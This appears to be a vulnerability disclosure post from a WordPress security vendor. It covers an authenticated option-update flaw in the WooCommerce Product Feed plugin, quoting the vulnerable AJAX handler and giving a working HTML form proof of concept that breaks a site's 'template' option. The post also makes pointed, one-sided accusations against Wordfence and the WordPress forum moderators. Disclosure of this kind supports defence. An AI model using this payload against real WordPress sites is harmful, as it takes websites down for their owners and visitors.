In the wake of widespread exploitation of an option update vulnerability in the WordPress plugin WP GDPR Compliance the difference in our response to others in the WordPress security community has been a reminder that unfortunately we are largely alone in trying to actually make WordPress websites more secure against security issues in WordPress plugins.

For example, Defiant the company behind the Wordfence Security plugin, which had failed to protect even those using their paid service, Wordfence Premium, decided to respond to that by lying and claiming those using it were “covered”. You also have the team that handles the security of plugins on the WordPress side of things seem to have had no interest in considering that they are not properly handling when to force out updates, which could prevent lots of websites being unnecessarily hacked in the future.

By comparison, not only did we warn our customers ahead of time so they could avoid getting hacked. We have already implemented a number of changes to improve our coverage of this type of issue and we are looking at other changes to provide even more protection to our customers.

That additional coverage of this type of issue has already led to identifying a plugin with 30,000+ installs that had the same vulnerability. We had found that vulnerability while working on improving our ability to catch this sort of vulnerability through the various things we do. One of those improvements has now led to us spotting another vulnerability of this type, though one that is more limited in what damage it can cause. Through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we spotted that the plugin WooCommerce Product Feed contains an authenticated variant of the option update vulnerability. The vulnerability also seems to be more limited in what changes can be made to the WordPress options through it, though with a single request any logged in to WordPress can break the website by causing it to have a fatal error occur when loading. Also anyone that could get someone logged in to WordPress to access a page they control could cause the same to happen.

The possibility of the vulnerability was also identified by our automated tool that permits anyone to see if WordPress plugins possible have a number of easier to spot security issues, the Plugin Security Checker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin makes the function woo_feed_update_feed_status() accessible to anyone logged in to WordPress through its AJAX functionality:

801

add_action('wp_ajax_update_feed_status', 'woo_feed_update_feed_status');

The function, which is located in the file /woo-feed.php, will update an option specified by the POST input “feedName”:

802
803
804
805
806
807
808
809
810
811
812
813
814

function woo_feed_update_feed_status(){
	if(!empty($_POST['feedName'])){
		$feedInfo = unserialize(get_option($_POST['feedName']));
		$feedInfo['status'] = $_POST['status'];
		$data = array('status' => true);
		update_option($_POST['feedName'],serialize($feedInfo));
		return  wp_send_json_success($data);
	}else{
		$data = array('status' => false);
		return  wp_send_json_error($data);
	}
	wp_die();
}

The value that option gets updated to involves unserializing and serializing a value and in our testing it looks like that can cause the updating to fail depending on what is the currently value of an option. In a default install of WordPress we found that you could update the “template” option, as shown in the proof of concept below, and you can cause the website to be broken by causing it to have a fatal error occur when loading with that change.

Proof Concept

The following proof of concept will break the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_feed_status" method="POST">
<input type="hidden" name="feedName" value="template" />
<input type="hidden" name="status" value='broken' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?